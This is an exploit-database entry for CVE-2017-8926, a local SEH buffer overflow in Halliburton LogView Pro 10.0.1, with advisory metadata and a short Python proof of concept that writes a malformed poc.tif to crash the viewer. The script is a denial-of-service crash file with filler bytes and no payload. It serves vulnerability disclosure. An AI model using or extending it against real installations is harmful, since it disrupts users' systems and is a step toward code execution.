Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)

vendor:

LogView Pro

by:

Muhann4d

7,8

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: LogView Pro

Affected Version From: 10.0.1

Affected Version To: 10.0.1

Patch Exists: NO

Related CWE: CVE-2017-8926

CPE: a:halliburton:logview_pro:10.0.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Professional SP1 32bit

2017

Halliburton LogView Pro 10.0.1 – Local Buffer Overflow (SEH)

Halliburton LogView Pro 10.0.1 is vulnerable to a local buffer overflow vulnerability. By creating a specially crafted .tif file, an attacker can cause a denial of service condition. The vendor has been contacted but no reply.

Mitigation:

No known mitigation or remediation for this vulnerability.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title     : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date              : 2017-05-14
# Exploit Author    : Muhann4d
# CVE               : CVE-2017-8926
# Vendor Homepage   : http://www.halliburton.com
# Software Link     : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1

# Vendor has been cantacted but no reply.

buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()